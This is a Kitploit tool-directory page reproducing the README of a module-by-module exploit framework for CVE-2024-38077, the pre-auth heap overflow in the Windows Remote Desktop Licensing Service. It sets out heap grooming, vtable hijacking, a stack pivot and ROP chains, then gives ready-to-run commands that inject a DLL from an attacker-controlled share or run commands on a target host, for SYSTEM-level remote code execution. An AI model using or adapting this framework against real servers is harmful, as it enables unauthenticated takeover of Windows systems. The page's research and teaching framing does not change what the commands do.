Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-38077-MadLicense-exploit | Kitploit
Tools/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Exploit FrameworksVulnerability AnalysisExploitationReverse EngineeringShellcodePenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

View Repository
18 months agoNot yet reviewed

CVE-2024-38077 MadLicense - Complete Exploitation Framework

📚 Technical Documentation for Presentation

This document explains each component of the framework, why it exists, and how the heap buffer overflow exploitation works in modern Windows.


🎯 What Is CVE-2024-38077?

The Vulnerability

Windows Remote Desktop Licensing Service (lserver.exe) contains a heap buffer overflow in the CDataCoding::DecodeData function.

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  VULNERABILITY: Incorrect size calculation                  │
├─────────────────────────────────────────────────────────────┤
│  1. Client sends Base64 data of size N                      │
│  2. Server calculates: buffer_size = (N / 4) * 3            │
│  3. Server allocates buffer of 'buffer_size' bytes          │
│  4. Actual Base64 decode writes: ceil(N * 3/4) bytes        │
│  5. If N is not a multiple of 4: OVERFLOW!                  │
└─────────────────────────────────────────────────────────────┘

Concrete example:

  • Input: 4001 bytes
  • Server calculation: (4001 / 4) * 3 = 1000 * 3 = 3000 bytes allocated
  • Actual decode: ceil(4001 * 0.75) = 3001 bytes written
  • Overflow: 1 byte (but controllable for more)

Why Is It Critical?

  1. Pre-Auth: No credentials needed
  2. Remote: Over network, port 135 (RPC)
  3. SYSTEM: Service runs as NT AUTHORITY\SYSTEM
  4. Widespread: Windows Server 2000-2025 affected

🏗️ Framework Architecture

Module Overview

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Module 1: primitives.py - Foundation

What Is It?

Low-level utilities for memory manipulation.

Why Does It Exist?

Exploits need to:

  • Convert between types (int ↔ bytes)
  • Generate patterns for crash analysis
  • Align data correctly

Main Functions

root@kitploit:~
# Pack/Unpack - Convert integers to bytes and vice versa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Cyclic Pattern - To identify crash offset
cyclic(100)          # Generates De Bruijn sequence
cyclic_find(pattern, value)  # Finds offset of value

# Alignment - Memory must be aligned
align(0x1003, 0x10)  # → 0x1010 (aligns to 16 bytes)

Why Does This Matter?

Real problem: You cause a crash and RIP contains 0x61616171.

  • Without cyclic: "Somewhere in my buffer..."
  • With cyclic: cyclic_find(pattern, 0x61616171) → exact offset!

📦 Module 2: leak.py - ASLR Bypass

What Is ASLR?

Address Space Layout Randomization: Every boot/execution, addresses change.

root@kitploit:~
Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Why Do We Need a Leak?

Without knowing where memory is:

  • We don't know where to place payload
  • We don't know the address of ROP gadgets
  • Any attempt = random crash

Module Structure

root@kitploit:~
class LeakInfo:
    """Container for leaked addresses"""
    heap_base: int         # Heap base
    ntdll_base: int        # ntdll.dll base
    kernel32_base: int     # kernel32.dll base
    # ...

class LeakProvider:
    """Orchestrator for leak sources"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Try each source until successful

Implemented Leak Sources

SourceHow It WorksWhen to Use
ManualLeakSource

Why Manual Input?

In demos/labs, you can:

  1. Attach debugger to target
  2. See module base addresses
  3. Provide via --ntdll-base 0x7ffa...

This simulates having a real leak, allowing you to test the rest of the chain.


📦 Module 3: target_model.py - Target Mapping

What Is It?

Modeling of vulnerable and adjacent data structures.

Why Does It Exist?

Overflow ≠ Exploitation. We need to know:

  • What are we overwriting?
  • What is the object size?
  • Which field is useful to corrupt?

Components

root@kitploit:~
class VulnerableBuffer:
    """The buffer that will overflow"""
    allocation_size: int   # How much was allocated
    write_size: int        # How much will be written
    overflow_amount: int   # Difference = overflow
    
    def calculate_overflow(input_size):
        # Simulates the calculation bug
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Object that will be corrupted (adjacent on heap)"""
    fields: List[StructField]
    has_vtable: bool       # Has virtual table?
    has_function_ptr: bool # Has function pointer?

Example Target Structure

root@kitploit:~
# Hypothetical object based on reverse engineering
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Mapped fields
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Why is_target=True?

Marks fields useful for exploitation:

  • vtable: If we overwrite it, we control method calls
  • callback: If we overwrite it, we control when callback is called

📦 Module 4: write_primitive.py - Controlled Write

The Problem

Overflow writes sequential data. But we need:

  • Write a specific value (address of our ROP)
  • At a specific offset (where the vtable pointer is)

The Solution

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Builds overflow buffer with precise values
        
        Layout:
        [PADDING until offset] [CONTROLLED VALUE] [MORE DATA]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Place exact value at exact offset
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Overwrite Types

root@kitploit:~
# Overwrite vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# Overwrite callback
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

Why Isn't Writing Garbage Enough?

WriteResult
AAAA...Crash without control
Precise address at precise offsetControlled execution

📦 Module 5: heap_controller.py - Heap Grooming

The Modern Heap Challenge

Windows uses LFH (Low Fragmentation Heap) and Segment Heap:

  • Allocations are randomized
  • Layout is not predictable
  • Heap guards detect corruption

The Solution: Grooming

Grooming = Massaging the heap to a deterministic layout.

root@kitploit:~
BEFORE GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Random allocations, unpredictable holes

AFTER GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Controlled layout, "holes" where we want

Grooming Phases

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # Phase 1: Fill existing holes
        self.phase_fill(50)
        
        # Phase 2: Activate LFH for the target bucket
        # (Windows activates LFH after ~17 allocations of the same size)
        self.phase_activate_lfh()
        
        # Phase 3: Spray - create dense pattern
        sprayed = self.phase_spray(200)
        
        # Phase 4: Create strategic holes
        # Release every N allocations
        self.phase_create_holes(sprayed, interval=4)
        
        # Phase 5: Stabilize
        self.phase_stabilize()

Why Does It Work?

  1. We fill the heap with our objects
  2. We create "holes" at regular intervals
  3. When the server allocates the vulnerable buffer...
  4. ...high chance it lands in a hole
  5. ...adjacent to our object that we can corrupt

📦 Module 6: trigger.py - Post-Corruption Trigger

The Problem

Corruption happened. Now what?

root@kitploit:~
Current state:
- Memory corrupted ✓
- Malicious value written ✓
- But nobody USED that value yet!

The Solution: Force Usage

We need the program to read and use the corrupted data.

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# Implemented strategies:

class SecondRequestTrigger:
    """Makes a second RPC call that uses the corrupted object"""
    
class DestructorTrigger:
    """Disconnects - forces cleanup that uses corrupted pointers"""
    
class TimerTrigger:
    """Waits for internal timer to process corrupted state"""

Typical Flow

root@kitploit:~
1. First RPC call → Corruption occurs
2. Disconnect (trigger) → Server calls destructor
3. Destructor reads corrupted vtable → Calls our address
4. Controlled execution!

📦 Module 7: execution.py - Flow Control

The Target: RIP/EIP Hijacking

RIP (x64) or EIP (x86) = Instruction Pointer

If we control the instruction pointer, we control execution.

Hijacking Methods

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # Most common in heap overflow
    FUNCTION_PTR = 1 # Callback pointer
    RETURN_ADDR = 2  # Stack overflow (not our case)

Vtable Hijacking Explained

root@kitploit:~
NORMAL OBJECT:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legitimate
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

AFTER CORRUPTION:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← OURS!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

When method1 is called → Executes our gadget!

Stack Pivot

Problem: vtable hijack gives us ONE call. We need more.

Solution: Stack Pivot

root@kitploit:~
# Gadget that swaps RSP to where we have our ROP chain
xchg rax, rsp; ret  # RAX = our address → RSP = our address

# Now the "stack" is our controlled area!
# Each RET jumps to the next gadget in our ROP chain

📦 Module 8: code_reuse.py - ROP Chains

Why ROP?

DEP (Data Execution Prevention): Heap and Stack are NON-EXECUTABLE.

root@kitploit:~
Shellcode on heap → CRASH (access violation - execute)

Solution: Reuse Existing Code

ROP = Return-Oriented Programming

We chain "gadgets" - small pieces of code ending in RET.

root@kitploit:~
GADGET 1: pop rcx; ret    ← Puts value into RCX
GADGET 2: pop rdx; ret    ← Puts value into RDX
GADGET 3: call LoadLibraryA ← Calls function!

How Gadgets Are Chained

root@kitploit:~
STACK/ROP CHAIN (our controlled area):
┌────────────────────┐
│ addr of pop_rcx    │ ← RSP points here
├────────────────────┤
│ value for RCX      │ ← Will be "popped" into RCX
├────────────────────┤
│ addr of pop_rdx    │ ← RET goes here
├────────────────────┤
│ value for RDX      │
├────────────────────┤
│ addr LoadLibraryA  │ ← Finally calls!
└────────────────────┘

Implemented Chains

root@kitploit:~
# Load DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain

# Allocate executable memory
build_virtual_alloc(size) → ROP chain + RAX = RWX address

# Execute command
build_winexec(cmd_addr) → ROP chain

📦 Module 9: payload.py - Semantic Payload

Difference: Data vs Intention

TypeExampleResult
DataAAAAAA...Crash
IntentionROP + DLL pathDLL loaded

Payload Types

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # Verify if exploitation works
    DLL_INJECT = 1    # Load our DLL
    COMMAND_EXEC = 2  # Execute command
    SHELLCODE = 3     # Execute shellcode via ROP

Building Payload for DLL Injection

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    Final structure:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← Executes first
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ │ Path string
    └──────────────────────────────┘
    
    The ROP chain passes the string address to LoadLibraryA
    """

📦 Module 10: mitigations.py - Mitigation Awareness

Modern Windows Mitigations

Automatic Adaptation

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # Mandatory
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # Mandatory
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # More spray

🔄 Complete Exploitation Flow

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    EXPLOITATION FLOW                            │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK (ASLR Bypass)
   ├─ Obtain memory addresses
   ├─ Input: manual or auto-leak
   └─ Output: LeakInfo with module bases

             ↓

   STAGE 2: ANALYZE (Target Mapping)
   ├─ Calculate overflow amount
   ├─ Identify adjacent objects
   └─ Determine corruption offsets

             ↓

   STAGE 3: GROOM (Heap Shaping)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ Create deterministic layout
   └─ Prepare "landing zone" for vulnerable allocation

             ↓

   STAGE 4: PAYLOAD (Build)
   ├─ Build ROP chain
   ├─ Include necessary strings/data
   └─ Combine with overflow data

             ↓

   STAGE 5: CORRUPT (Trigger Overflow)
   ├─ Send malicious RPC call
   ├─ Cause overflow
   └─ Overwrite target (vtable/callback)

             ↓

   STAGE 6: TRIGGER (Force Use)
   ├─ Disconnect or second call
   ├─ Force use of corrupted pointer
   └─ Execution hijack

             ↓

   STAGE 7: EXECUTE (RCE)
   ├─ ROP chain executes
   ├─ LoadLibraryA loads DLL
   └─ ARBITRARY CODE EXECUTING!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  RESULT: Reverse shell, backdoor, etc. as SYSTEM           │
   └─────────────────────────────────────────────────────────────┘

🚀 Practical Usage

Installation

root@kitploit:~
pip install impacket

Commands

root@kitploit:~
# Just check if service is running
python -m madlicense.poc -t 10.0.0.5 --check

# Dry run (does not send payload, simulates everything)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# Full DLL Injection
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Execute calc.exe (classic PoC)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ Ethical Considerations

This framework is intended for:

  • ✅ Authorized security research
  • ✅ Educational demonstrations
  • ✅ Tests in controlled environments
  • ✅ Mitigation development

NOT for:

  • ❌ Unauthorized access
  • ❌ Attacks on production systems
  • ❌ Any illegal activity

📚 References

  1. CVE-2024-38077 - Microsoft Security Advisory
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 Summary for Talk

Key phrase:

"Exploiting a heap buffer overflow in modern Windows isn't just 'writing too much'. It's a precise chain of leak → groom → corrupt → trigger → execute."

The 9 Modules:

  1. primitives - Memory tools
  2. leak - ASLR bypass
  3. target_model - Know the target
  4. write_primitive - Controlled write
  5. heap_controller - Heap grooming
  6. trigger - Force corruption use
  7. execution - RIP hijack
  8. code_reuse - ROP chains
  9. mitigations - Defense awareness

Without any one of these, there is no RCE.

Download Tool
User provides addresses
Lab/Debug with target access
ResponseLeakSourceExtracts from RPC responsesIf service leaks pointers
TimingLeakSourceTiming side-channelTheoretical, very difficult
MitigationWhat It DoesOur Bypass
DEPHeap/Stack non-executableROP (code reuse)
ASLRRandomized addressesInfo leak
CFGValidates call targetsCall valid targets, then pivot
Stack CookieDetects stack overflowWe don't use stack overflow
Heap HardeningGuard pages, etcCareful grooming